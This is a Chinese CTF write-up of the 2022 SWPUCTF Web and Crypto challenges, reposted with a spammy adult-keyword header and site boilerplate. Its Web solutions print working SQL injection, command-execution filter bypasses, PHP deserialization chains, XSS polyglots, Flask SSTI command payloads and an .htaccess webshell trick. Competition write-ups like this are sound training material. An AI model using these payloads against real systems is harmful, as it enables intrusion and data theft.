国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

2022 SWPUCTF Web+Crypto方向wp

這篇具有很好參考價(jià)值的文章主要介紹了2022 SWPUCTF Web+Crypto方向wp。希望對(duì)大家有所幫助。如果存在錯(cuò)誤或未考慮完全的地方,請(qǐng)大家不吝賜教,您也可以點(diǎn)擊"舉報(bào)違法"按鈕提交疑問。

2022 SWPUCTF WP

web

歡迎來到web安全

簽到題,F(xiàn)12直接找出flag2022 SWPUCTF Web+Crypto方向wp

easy_sql
  1. 首先根據(jù)提示傳入?wllm=1看看有無回顯
    2022 SWPUCTF Web+Crypto方向wp

  2. 然后我們發(fā)現(xiàn)了正?;仫@,接著用單引號(hào)試試閉合方式
    2022 SWPUCTF Web+Crypto方向wp

  3. 通過對(duì)回顯錯(cuò)誤信息的分析,為了方便觀察,我把包裹的引號(hào)隔開’ ‘1’’ LIMIT 0,1 ’
    這樣我們很容易發(fā)現(xiàn)后面多出來了一個(gè)引號(hào),由此可知該題為單引號(hào)閉合字符型漏洞
    下面我們嘗試用order by爆出列數(shù)

    2022 SWPUCTF Web+Crypto方向wp

  4. 當(dāng)order by 4的時(shí)候返回沒有這個(gè)clause,我們?cè)賴L試使用order by 3無報(bào)錯(cuò),那么下一步進(jìn)行聯(lián)合查詢2022 SWPUCTF Web+Crypto方向wp

  5. 下面直接放出payload

    //爆表
    ?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
    //爆列名
    ?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb'--+
    //爆字段
    ?wllm=-1' union select 1,2,group_concat(fllaag) from test_tb--+
    
  6. 得到最終flag
    2022 SWPUCTF Web+Crypto方向wp

happy_rce
  1. 首先進(jìn)去題目如圖2022 SWPUCTF Web+Crypto方向wp

  2. 提示post一個(gè)url,這里if判斷條件里有isset用于判斷是否傳入了url參數(shù),那就post請(qǐng)求傳url=1看看,這里可以用hackbar或者burp suite都可

  3. 然后if里面還有一個(gè)校驗(yàn)cookie的語句,按提示改就行
    2022 SWPUCTF Web+Crypto方向wp

  4. 回顯了一個(gè)php文件,直接看看里面是什么
    2022 SWPUCTF Web+Crypto方向wp

  5. 這里過濾了很多,但是沒有過濾system和ls,所以我們可以利用其查看文件目錄

    ?url=system('ls');
    

    但是里面沒有看到類似flag的東西,那就進(jìn)入根目錄看看,但是空格被過濾了,可以用${IFS}繞過

    ?url=system('ls${IFS}/');
    

    然后想辦法讀取文件,cat tac tail都被過濾了,那我們還可以利用nl查看文件內(nèi)容,這里發(fā)現(xiàn)數(shù)字被過濾了,我們想到了*來匹配,但是*也被過濾了,盡管如此,我們還可以用?來匹配單個(gè)字符

    ?url=system('nl${IFS}/flllllllll?aaaaaaaaaag');
    

    最后得出flag2022 SWPUCTF Web+Crypto方向wp

  6. 下面再再介紹一種非預(yù)期解,利用異或然后post傳參直接cat讀取flag,這里用的師傅的payload,貼上他的博客

    a:'%40'^'%21' ; s:'%7B'^'%08' ; s:'%7B'^'%08' ; e:'%7B'^'%1E' ; r:'%7E'^'%0C' ; t:'%7C'^'%08'
    P:'%0D'^'%5D' ; O:'%0F'^'%40' ; S:'%0E'^'%5D' ; T:'%0B'^'%5F'
    拼接起來:
    $_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');  // $_=assert
    $__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F');  // $__=_POST
    $___=$$__; //$___=$_POST
    $_($___[_]);//assert($_POST[_]);
    放到一排就是:
    $_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F');$___=$$__;$_($___[_]);
    

    2022 SWPUCTF Web+Crypto方向wp

do_not_wakeup
  1. 從這道題的標(biāo)題便可以猜到這題是在考察php反序列化繞過__wakeup()函數(shù)

  2. 2022 SWPUCTF Web+Crypto方向wp

  3. 簡單閱讀代碼可以發(fā)現(xiàn),__wakeup()方法會(huì)首先被激活,覆蓋變量的值使flag不能被回顯,因此這里需要繞過__wakeup()方法,__wakeup函數(shù)是在php在使用反序列化函數(shù)unserialize()時(shí),會(huì)自動(dòng)調(diào)用的函數(shù)。只要序列化序列化的中的成員數(shù)大于實(shí)際成員數(shù),即可繞過。

    <?php
    class A
    {
        private $are_you_a_hacker;
    
        public function __construct()
        {
            $this->are_you_a_hacker='yesyesyes';
        }
    }
    $a=new A();
    echo  urlencode(serialize($a));
    ?>
    

    這里是private不能從外面進(jìn)行賦值,而且序列化后會(huì)出現(xiàn)特殊的東西,我們url編碼一下方便復(fù)制,

    O%3A1%3A%22A%22%3A1%3A%7Bs%3A19%3A%22%00A%00are_you_a_hacker%22%3Bs%3A9%3A%22yesyesyes%22%3B%7D
    

    然后講成員數(shù)改成2即可,post傳入得到flag

    data=O%3A1%3A%22A%22%3A2%3A%7Bs%3A19%3A%22%00A%00are_you_a_hacker%22%3Bs%3A9%3A%22yesyesyes%22%3B%7D
    

    2022 SWPUCTF Web+Crypto方向wp

newnew
  1. 看到題目
    2022 SWPUCTF Web+Crypto方向wp

  2. 分析代碼,下面的報(bào)錯(cuò)是因?yàn)槎嗉恿艘粋€(gè)new Exception類,然而沒有對(duì)應(yīng)的catch語句,造成了嚴(yán)重級(jí)別的錯(cuò)誤使得程序提前退出了,這樣反序列化對(duì)象不能被正常銷毀,__destruct()也就不會(huì)被調(diào)用,所以需要強(qiáng)制執(zhí)行。這里貼兩篇文章利用PHP垃圾回收機(jī)制構(gòu)造POP鏈
    PHP 原生類的利用

  3. 這道題也就是利用這兩個(gè)知識(shí)拿到flag,具體原理上面講的很清楚就不再贅述,下面給出payload

    //關(guān)鍵函數(shù)多了個(gè)new,因此利用php原生類操作
    //找到flag所在文件
    <?php
    class A
    {
        public $a='DirectoryIterator';
        public $b='glob:///f*';
    
       
    } 
    echo serialize(array(new A, new A));
    ?>
    
    //然后將后面那個(gè)序列改成和前面一樣即可
    ?newnew=a:2:{i:0;O:1:"A":2:{s:1:"a";s:17:"DirectoryIterator";s:1:"b";s:10:"glob:///f*";}i:0;O:1:"A":2:{s:1:"a";s:17:"DirectoryIterator";s:1:"b";s:10:"glob:///f*";}}
    
    //讀取文件,并和上面一樣修改序列
    ?newnew=a:2:{i:0;O:1:"A":2:{s:1:"a";s:13:"SplFileObject";s:1:"b";s:12:"/fl1aaaaaaa9";}i:0;O:1:"A":2:{s:1:"a";s:13:"SplFileObject";s:1:"b";s:12:"/fl1aaaaaaa9";}}
    

    最后得到flag2022 SWPUCTF Web+Crypto方向wp

baby_pop
  1. 進(jìn)入題目可知傳入?yún)?shù)source查看class.php文件
    2022 SWPUCTF Web+Crypto方向wp

  2. 然后就是一個(gè)反序列化構(gòu)造pop鏈的題

     <?php
    
    class dstbp
    {
        private $cmd;
        private $content;
    
        public function __construct($cmd, $content)
        {
            $this->cmd = $cmd;
            $this->content = $content;
        }
    
        public function __invoke()
        {
            ($this->cmd)($this->content);
        }
    }
    
    class m1sery
    {
        public $ctf;
        public $time = "Two and a half years";
    
        public function __construct($ctf)
        {
            $this->ctf = $ctf;
        }
    
    
        public function __toString()
        {
            return $this->ctf->show();
        }
    
        public function show(): string
        {
            return $this->ctf . ": Duration of practice: 2.5 years";
        }
    
    
    }
    
    class s0rry
    {
        private $name;
        private $password;
        public $hint = "hint is depend on you";
        public $key;
    
        public function __construct($name, $password)
        {
            $this->name = $name;
            $this->password = $password;
        }
    
    
        public function __destruct()
        {
            echo $this->hint;
        }
    
    
    }
    
    class jiangnaij
    {
        protected $code;
    
    
        public function __call($name, $arguments)
        {
            ($this->code)();
        }
    } 
    ?>
    

    可以從目標(biāo)函數(shù)開始分析,也就是dstbp類里的($this->cmd)($this->content);可以控制變量的值去獲取flag,要想執(zhí)行該函數(shù)先激活__invoke()方法,該類在調(diào)用函數(shù)的方式調(diào)用一個(gè)對(duì)象時(shí)會(huì)被激活,那么可以利用__call()方法里的($this->code)();激活,該方法又可以被m1sery類中的return $this->ctf->show();激活,那么繼續(xù)往前推,需要echo $this->hint;來激活__tostring()方法,那么整條鏈子就構(gòu)造出來了,下面給出php代碼

    <?php
    class dstbp
    {
        private $cmd;
        private $content;
    
        public function __construct($cmd, $content)
        {
            $this->cmd = $cmd;
            $this->content = $content;
        }
    }
    
    class m1sery
    {
        public $ctf;
    }
    
    class s0rry
    {
        public $hint;
        public $key;
    }
    
    class jiangnaij
    {
        protected $code;
    	public function __construct($a)
        {
            $this->code = $a;
        }
    	
    }
    $b=new s0rry();
    $c=new m1sery();
    $b->hint=$c;
    $a=new dstbp('system',"ls /");
    $d=new jiangnaij($a);
    $c->ctf=$d;
    var_dump(urlencode(serialize($b)));
    ?>
    

    最終拿下flag
    2022 SWPUCTF Web+Crypto方向wp

    這里覆蓋掉了環(huán)境變量,如果沒覆蓋也可以用system(‘env’)或者直接看phpinfo

happy_php
  1. 2022 SWPUCTF Web+Crypto方向wp

  2. 知識(shí)點(diǎn)套娃題,由外到內(nèi)一個(gè)一個(gè)解開就好了

  3. 首先是md5截?cái)啾容^,寫個(gè)能跑的腳本就行

    from multiprocessing.dummy import Pool as tp
    import hashlib
    import datetime
    knownMd5 = '666666'      #已知的md5明文
    
    def md5(text):
        return hashlib.md5(str(text).encode('utf-8')).hexdigest()
    
    def findCode(code):
        key = code.split(':')
        start = int(key[0])
        end = int(key[1])
        for code in range(start, end):
            if md5(code)[0:6] == knownMd5:
                print(code)
                #獲取最后時(shí)間戳并格式化
                fi1 = int(datetime.datetime.now().strftime('%S'))
                fi2 = int(datetime.datetime.now().strftime('%f'))
                fi = fi1 + fi2 / 1000000
                print("您的用時(shí):" + str(fi - st) + "s")
                break
    list=[]
    # 獲取初始時(shí)間戳并格式化,用于計(jì)時(shí),對(duì)功能p用沒得
    st1 = int(datetime.datetime.now().strftime('%S'))
    st2 = int(datetime.datetime.now().strftime('%f'))
    st = st1 + st2 / 1000000
    for i in range(1):    # 這里的range(number)指爆破出多少結(jié)果停止
        list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
    pool = tp()    # 使用多線程加快爆破速度
    pool.map(findCode, list)
    pool.close()
    pool.join()
    
  4. 然后是一個(gè)md5弱比較,可以用數(shù)組繞過,也可以用0e繞過,詳細(xì)可見這篇文章

  5. 接著是一個(gè)md5碰撞,php的數(shù)組在進(jìn)行string強(qiáng)制轉(zhuǎn)換時(shí),會(huì)將數(shù)組轉(zhuǎn)換為NULL類型 null=null就成立了,沒繞過去

    所以我們需要一個(gè),md5前不相等,而md5后全等的

    array1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&array2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
    
  6. 最后get傳入對(duì)應(yīng)值即可獲得flag

    <?php
    $a=0.58;
    echo intval($a * 100);#57
    ?>
    
easy_xss
  1. 后續(xù)更新了hint
    2022 SWPUCTF Web+Crypto方向wp

  2. 根據(jù)后臺(tái)代碼將前后兩個(gè)script標(biāo)簽閉合掉,可以實(shí)現(xiàn)xss注入,彈窗彈flag字段即可獲得flag

    ';</script><script>alert('flag')</script><script>var s='1
    
  3. 或者直接使用通用 XSS 攻擊字串手動(dòng)檢測(cè) XSS 漏洞

    /*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert("flag")  )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert("flag")//>\x3e`
    

    能夠檢測(cè)到存在于 HTML 屬性、HTML 文字內(nèi)容、HTML 注釋、跳轉(zhuǎn)鏈接、內(nèi)聯(lián) JavaScript 字符串、內(nèi)聯(lián) CSS 樣式表等多種上下文中的 XSS 漏洞,也能檢測(cè) eval()、setTimeout()、setInterval()、Function()、innerHTML、document.write() 等 DOM 型 XSS 漏洞,并且能繞過一些 XSS 過濾器。

baby_ssrf
  1. flag1:
    POST傳入

     url=http://sudo.cc/flag.php
    

    然后查看源碼即可,這里試了短鏈接重定向繞過但是被過濾了

  2. flag2:
    訪問/.git得到

  3. flag3:
    源碼漏洞掃描,用御劍掃就行,flag3在wwwroot.zip里面

sql2
  1. 2022 SWPUCTF Web+Crypto方向wp

  2. 根據(jù)提示可以猜測(cè)是GET型報(bào)錯(cuò)注入

  3. 首先判斷閉合方式,然后用大小寫等繞過各種WAF

    //爆庫
    ?wllm=-1%27/**/oR/**/extrAcTvAlUe(1,coNCat(0x7e,database()))%23
    //爆表
    ?wllm=-1%27/**/OR/**/EXTRACTVALUE(1,CONCAT(0x7e,(SELECT/**/GROUP_CONCAT(table_name)/**/FROM/**/INFORMATION_SCHEMA.tables/**/WHERE/**/TABLE_SCHEMA=DATABASE())))%23
    //爆列名
    ?wllm=-1%27/**/OR/**/EXTRACTVALUE(1,CONCAT(0x7e,(SELECT/**/GROUP_CONCAT(column_name)/**/FROM/**/INFORMATION_SCHEMA.columns/**/WHERE/**/TABLE_name='test_tb')))%23
    //爆字段內(nèi)容
    

    2022 SWPUCTF Web+Crypto方向wp

    //這里顯示不完全可以用substr()函數(shù)截取字符串
    ?wllm=-1%27/**/OR/**/EXTRACTVALUE(1,CONCAT(0x7e,substr((SELECT/**/GROUP_CONCAT(flag)/**/FROM/**/test_tb),20)))%23
    
php_upload
  1. 思路是傳入圖片馬,然后用文件包含,連上蟻劍獲取flag

  2. 2022 SWPUCTF Web+Crypto方向wp

  3. 2022 SWPUCTF Web+Crypto方向wp

  4. 2022 SWPUCTF Web+Crypto方向wp

can_you_faster
  1. 通過閱讀內(nèi)容我們可以知道這是人類難以完成的工作,那么我們就借助計(jì)算機(jī)的算力,寫一個(gè)python腳本,這里用到了re庫和requests庫,建議結(jié)合函數(shù)用法食用,查看源代碼,我們利用正則匹配到要計(jì)算的式子,利用eval進(jìn)行計(jì)算,下面給出python腳本源碼
    import time
    import requests
    import re
    session = requests.session() 		//會(huì)話保持,不然每次都是算第一題
    while 1:
        url = "http://175.24.172.136:30050/"
        a=str(session.get(url).text)		//返回網(wǎng)頁的內(nèi)容
        result = re.compile(">(.*)= </a></div") //正則匹配到要算的式子
        res1=re.compile("</a>加油!還差(.* ?)道題</div>") //匹配到計(jì)算的進(jìn)度
        aa=result.findall(a)  
        f="".join(aa)
        r = re.sub("<a style=\"color: #9191ff\">", "", f) //去除匹配中多余的東西
        e=r[0:-1]
        d=eval(e)
        data={
            'result':d
        }
        time.sleep(1)
        res = session.post(url=url,data=data)
    
        bb = res1.findall(res.text)
        print(bb)
        flag = re.compile('(swpu\{.+?\})').findall(res.text)
        print(flag)
    
easy_flask
  1. 根據(jù)提示,這是一道沒有過濾的SSTI漏洞,首先進(jìn)去看到HINT直接點(diǎn)進(jìn)去,既然是ssti,我們?cè)囋噓rl加上{{7*7}}看看會(huì)發(fā)生什么
    2022 SWPUCTF Web+Crypto方向wp

  2. 說明我們找對(duì)地方咯
    查看一手

    {{config}}
    

    2022 SWPUCTF Web+Crypto方向wp

    發(fā)現(xiàn)環(huán)境變量好像可以利用的樣子,那就試試

    {{config.__class__.__init__.__globals__['os'].popen('env').read()}}
    

    沒想到真出了

  3. 當(dāng)然也可以常規(guī)的ls命令列出目錄,然后利用cat等讀取

  4. 下面給出繞過過濾的一些payload
    下面開始列出所有子類

    //如果關(guān)鍵詞被過濾,可以用拼接
    {{''['__cla'+'ss__']['__bas'+'es__'][0]['__subcl'+'asses__']()}}
    

    然后找一下可利用的子類以及下標(biāo)

    all_class = "<class 'type'>, <class 'weakref'>"
    all_class = all_class.split(',')
    for n in range(len(all_class)):
    	if 'os' in all_class[n]:
    		print('{} {}'.format(n, all_class[n]))
    

    運(yùn)行如下

    PS C:\Users\Administrator\Downloads> python .\code.py
    87  <class 'posix.ScandirIterator'>
    88  <class 'posix.DirEntry'>
    117  <class 'os._wrap_close'>
    260  <class 'tempfile._TemporaryFileCloser'>
    475  <class 'werkzeug.wsgi.ClosingIterator'>xxxxxxxxxx PS C:\Users\Administrator\Downloads> python .\code.py87  <class 'posix.ScandirIterator'>88  <class 'posix.DirEntry'>117  <class 'os._wrap_close'>260  <class 'tempfile._TemporaryFileCloser'>475  <class 'werkzeug.wsgi.ClosingIterator'>123456
    

    然后執(zhí)行命令即可

    {{''['__cla'+'ss__']['__bas'+'es__'][0]['__subcl'+'asses__']()[117]['__in'+'it__'].__globals__['popen']('id').read()}}
    

    另外還有一些命令執(zhí)行的繞過cat、flag等關(guān)鍵字被過濾,簡單繞過一下讀取flag即可

    {{''['__cla'+'ss__']['__bas'+'es__'][0]['__subcl'+'asses__']()[117]['__in'+'it__'].__globals__['popen']('ls').read()}}
    

    如果過濾了{(lán){ . [ _ \x request print string這些

    {{ :用{%%}代替

    . :用attr()代替

    [ :用getitem()代替

    \x : 用Unicode代替

    print,request,string:不用管用不到,直接執(zhí)行命令就行

  5. 再補(bǔ)充一個(gè)

    無回顯的payload框架:

    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
    

    使用這個(gè)框架可以不用回顯就能拿到命令執(zhí)行的eval方法

easy_include
  1. 首先進(jìn)行代碼審計(jì)
    2022 SWPUCTF Web+Crypto方向wp

  2. 上面定義了一個(gè)WAF函數(shù),然后需要我們傳入兩個(gè)參數(shù)key和file,先要繞過call_user_func()回調(diào)函數(shù)的返回值弱比較 可以用session_start,error_reporting,json_last_error

  3. 接著因?yàn)榍懊嬉呀?jīng)包含過一次文件了,所以我們要繞過include_once限制

    file=php://filter/read=convert.BAse64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
    

    得到一串base64編碼的東西,解碼后得到flag

ez_upload
  1. 2022 SWPUCTF Web+Crypto方向wp

  2. 根據(jù)提示要借助配置文件和編碼轉(zhuǎn)換的力量,那么首先傳入.htaccess文件

    可以使用偽協(xié)議,.htacess里偽協(xié)議讀入,寫的圖片馬用base加密。
    AddType application/x-httpd-php .abc
    php_value auto_append_file “php://filter/convert.base64-decode/resource=shell.abc”
    把后綴.abc當(dāng)作php解析,然后shell.abc的內(nèi)容用base64加密。比如<?php phpinfo();?>加密變成PD9waHAgcGhwaW5mbygpOz8+

  3. 然后上傳馬shell.abc,用蟻劍連接即可找出flag

  4. 當(dāng)然這是非預(yù)期解,給出的提示蠻多沒用到,那么提示是為什么呢,因?yàn)楸緛磉€有一個(gè)繞過open_basedir設(shè)置的,這文章介紹的很全面。

sql3
  1. 布爾盲注

Crypto

善哉善哉
  1. 下載是個(gè)7z文件,那重命名為1.7z解壓出一張圖片,明顯是圖片隱寫,放到winHEX試一試,發(fā)現(xiàn)文件尾有一串看著像摩斯密碼的字符串2022 SWPUCTF Web+Crypto方向wp

  2. 復(fù)制到解密工具解密
    2022 SWPUCTF Web+Crypto方向wp

  3. 看到新佛曰就知道是什么加密了,下面給出佛曰那一套解密工具
    新佛曰
    佛曰
    佛又曰

  4. 2022 SWPUCTF Web+Crypto方向wp

    32位md5加密后,格式包裹一下就得到flag了

AES
  1. 解壓后打開py文件,根據(jù)題目,這是AES加密算法,給出了密鑰和密文以及表
    2022 SWPUCTF Web+Crypto方向wp

  2. 那么直接利用python的AES庫解出明文即可

    import base64
    from Crypto.Cipher import AES
    
    iv = '1229002635654321'
    key = 'nssctfneedcrypto'
    data = '862EoKZMO3sqpNlzyvIW5G/8MFeAI/zgGXcgi5eNOL8='
    
    def AES_de(key, data):
        # 解密過程逆著加密過程寫
        # 將密文字符串重新編碼成二進(jìn)制形式
        data = data.encode("utf-8")
        # 將base64的編碼解開
        data = base64.b64decode(data)
        # 創(chuàng)建解密對(duì)象
        AES_de_obj = AES.new(key.encode("utf-8"), AES.MODE_CBC, iv.encode("utf-8"))
        # 完成解密
        AES_de_str = AES_de_obj.decrypt(data)
        # 去掉補(bǔ)上的空格
        AES_de_str = AES_de_str.strip()
        # 對(duì)明文解碼
        AES_de_str = AES_de_str.decode("utf-8")
        return AES_de_str
    
    
    data = AES_de(key, data)
    print(data)   #NSSCTF{NSS_CRYPTO_NEED_YOU_0000}
    
爆破MD5
  1. //給出的信息
    data='Boom_MD5****'
    flag=MD5(data)
    print(flag)
    #0618ac93d4631df725bceea74d0*****
    
  2. 不難看出這是md5明文密文缺失,下面給出爆破腳本

    import hashlib
    
    for i in range(32, 127):
        for j in range(32, 127):
            for k in range(32, 127):
                for l in range(32, 127):
                        m = hashlib.md5()  # 獲取一個(gè)md5加密算法對(duì)象
                        m.update(str('Boom_MD5' + chr(i) + chr(j) + chr(k) + chr(l)).encode("utf-8"))  # 指定需要加密的字符串
                        des = m.hexdigest()
                        if '0618ac93d4631df725bceea74d0' in des:  # 如果得到的密文和我們預(yù)期的密文相同,輸出
                            print(des)
    #data='Boom_MD5****'
    #flag=MD5(data)
    #print(flag)
    #0618ac93d4631df725bceea74d0*****
    
Welcome to Modern Cryptography
  1. 2022 SWPUCTF Web+Crypto方向wp

  2. 給了三個(gè)文件,密文,公鑰和私鑰,點(diǎn)進(jìn)去的內(nèi)容不難看出這是一道RSA解密

  3. 直接放工具梭哈
    2022 SWPUCTF Web+Crypto方向wp

All in Base

這道題涉及base32,base45,base62,base64,acill85,然后根據(jù)特征來解密就好,basecrack解不了base45,那就給出解密網(wǎng)站,需要科學(xué)上網(wǎng)文章來源地址http://www.zghlxwxcb.cn/news/detail-489475.html

到了這里,關(guān)于2022 SWPUCTF Web+Crypto方向wp的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點(diǎn)僅代表作者本人,不代表本站立場(chǎng)。本站僅提供信息存儲(chǔ)空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請(qǐng)注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符,請(qǐng)點(diǎn)擊違法舉報(bào)進(jìn)行投訴反饋,一經(jīng)查實(shí),立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

  • 前端秘法基礎(chǔ)式終章----歡迎來到JS的世界

    前端秘法基礎(chǔ)式終章----歡迎來到JS的世界

    目錄 一.JavaScript的背景 二.JavaScript的書寫形式 1.行內(nèi)式 2.嵌入式 3.外部式 三.JS中的變量 1.變量的定義 2.JS動(dòng)態(tài)類型變量 2.1強(qiáng)類型和弱類型 3.JS中的變量類型 四.運(yùn)算符 五.if語句和三元表達(dá)式和Switch語句和循環(huán)語句 六.數(shù)組 1.創(chuàng)建獲取數(shù)組元素 2.新增數(shù)組元素 七.函數(shù) 1.函數(shù)的聲

    2024年02月21日
    瀏覽(23)
  • 歡迎來到IT時(shí)代----盤點(diǎn)曾經(jīng)爆火全網(wǎng)的計(jì)算機(jī)電影

    歡迎來到IT時(shí)代----盤點(diǎn)曾經(jīng)爆火全網(wǎng)的計(jì)算機(jī)電影

    計(jì)算機(jī)專業(yè)必看的幾部電影,就像一場(chǎng)精彩的編程盛宴!《黑客帝國》讓你穿越虛擬世界,感受高科技的魅力;《社交網(wǎng)絡(luò)》揭示了互聯(lián)網(wǎng)巨頭的創(chuàng)業(yè)之路,《源代碼》帶你穿越時(shí)間解救世界,這些電影不僅帶我們穿越到科技的前沿,還揭示了計(jì)算機(jī)科學(xué)背后的故事和挑戰(zhàn)。

    2024年02月21日
    瀏覽(26)
  • NewStarCTF 2022 web方向題解 wp

    NewStarCTF 2022 web方向題解 wp

    先看題目,要傳參加繞過。 分析一下代碼:首先get一個(gè)data= data://test/plain, Wel…。然后key1和2用數(shù)組可以繞過。num=2077a可以繞過弱類型。eval()中的php語句被 # 注釋了,我們需要通過換行 %0a 來忽視這個(gè)注釋,所以再構(gòu)造cmd=%0asystem(‘ls /’); 看看題干,偽隨機(jī)數(shù)工具。 分析一下代

    2024年02月11日
    瀏覽(41)
  • [SWPUCTF 2022 新生賽]numgame

    [SWPUCTF 2022 新生賽]numgame

    這道題有點(diǎn)東西網(wǎng)頁一段計(jì)算框,只有加和減數(shù)字,但是永遠(yuǎn)到大不了20,頁面也沒啥特別的,準(zhǔn)備看源碼,但是打不開,我以為是環(huán)境壞掉了,看wp別人也這樣,只不過大佬的開發(fā)者工具可以打開,我的就不行 最后試了一下,你要么就在網(wǎng)頁右上角更多工具里面手動(dòng)打開,

    2024年02月13日
    瀏覽(22)
  • [SWPUCTF 2022 新生賽]ez_ez_php

    [SWPUCTF 2022 新生賽]ez_ez_php

    這段代碼是一個(gè)簡單的PHP文件處理腳本。讓我們逐行進(jìn)行分析: error_reporting(0); ?- 這行代碼設(shè)置了錯(cuò)誤報(bào)告的級(jí)別為0,意味著不顯示任何錯(cuò)誤。 if (isset($_GET[\\\'file\\\'])) { ?- 這行代碼檢查是否存在一個(gè)名為\\\"file\\\"的GET參數(shù)。 if ( substr($_GET[\\\"file\\\"], 0, 3) === \\\"php\\\" ) { ?- 這行代碼使用 su

    2024年02月12日
    瀏覽(17)
  • 2023年“羊城杯”網(wǎng)絡(luò)安全大賽 Web方向題解wp 全

    2023年“羊城杯”網(wǎng)絡(luò)安全大賽 Web方向題解wp 全

    團(tuán)隊(duì)名稱:ZhangSan 序號(hào):11 不得不說今年本科組打的是真激烈,初出茅廬的小后生沒見過這場(chǎng)面QAQ~ 簡單記錄一下,實(shí)際做題踩坑很多,嘗試很多。 先掃了個(gè)目錄,掃出 start.sh 內(nèi)容如下,這個(gè)其實(shí)和hint一樣的,hint就不放了,尊嘟假嘟解密。 開始做題,題目讓我訪問路由 /

    2024年02月10日
    瀏覽(20)
  • 【pwn】[SWPUCTF 2022 新生賽]InfoPrinter--格式化字符串漏洞,got表劫持,data段修改

    【pwn】[SWPUCTF 2022 新生賽]InfoPrinter--格式化字符串漏洞,got表劫持,data段修改

    下載附件,checksec檢查程序保護(hù)情況: No RELRO ,說明got表可修改 接下來看主程序: 函數(shù)邏輯還是比較簡單,14行出現(xiàn)格式化字符串漏洞,配合pwntools的fmtstr_payload模塊可直接攻擊,然后就是題目提供了libc,然后第10行又泄露puts函數(shù)的地址,可直接計(jì)算出基址,然后就是/bin/sh這

    2024年02月08日
    瀏覽(31)
  • crypto-PellRSA(2022 ISG CTF)

    RSA新套路,記錄一下。 題目源碼: 題目一開始是佩爾方程 x 2 ? D y 2 = 1 x^2?Dy^2=1 x 2 ? D y 2 = 1 其中x和y都未知需要進(jìn)行枚舉。參考連分?jǐn)?shù)法解佩爾方程特解 又根據(jù)關(guān)系式 h i n t = x p + y q = a + b hint=xp+yq=a+b hin t = x p + y q = a + b 有 a 2 ? a × h i n t = x 2 p 2 ? x 2 p 2 ? x y p q = ?

    2024年02月10日
    瀏覽(24)
  • 2023年“羊城杯”網(wǎng)絡(luò)安全大賽 決賽 AWDP [Break+Fix] Web方向題解wp 全

    2023年“羊城杯”網(wǎng)絡(luò)安全大賽 決賽 AWDP [Break+Fix] Web方向題解wp 全

    終于迎來了我的第一百篇文章。 這次決賽賽制是AWDP。Break+Fix,其實(shí)就是CTF+Fix,F(xiàn)ix規(guī)則有點(diǎn)難崩。Break和Fix題目是一樣的。 總結(jié)一下:敗北,還是太菜了得繼續(xù)修煉一下。 看到是SSTI,焚靖直接一把梭了。 瞎了,執(zhí)行 ls / 時(shí)候flag文件在命令旁邊沒看見,find命令找了好久嗚嗚

    2024年02月07日
    瀏覽(42)
  • [第七屆藍(lán)帽杯全國大學(xué)生網(wǎng)絡(luò)安全技能大賽 藍(lán)帽杯 2023]——Web方向部分題 詳細(xì)Writeup

    [第七屆藍(lán)帽杯全國大學(xué)生網(wǎng)絡(luò)安全技能大賽 藍(lán)帽杯 2023]——Web方向部分題 詳細(xì)Writeup

    你真的熟悉PHP嗎? 源碼如下 首先要先解決傳參 my_secret.flag 根據(jù)php解析特性,如果字符串中存在 [、. 等符號(hào),php會(huì)將其轉(zhuǎn)換為 _ 且只轉(zhuǎn)換一次 ,因此我們直接構(gòu)造 my_secret.flag 的話,最后php執(zhí)行的是 my_secret_flag ,因此我們將前面的 _ 用 [ 代替,也就是傳參的時(shí)候傳參為 my[s

    2024年02月10日
    瀏覽(20)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請(qǐng)作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包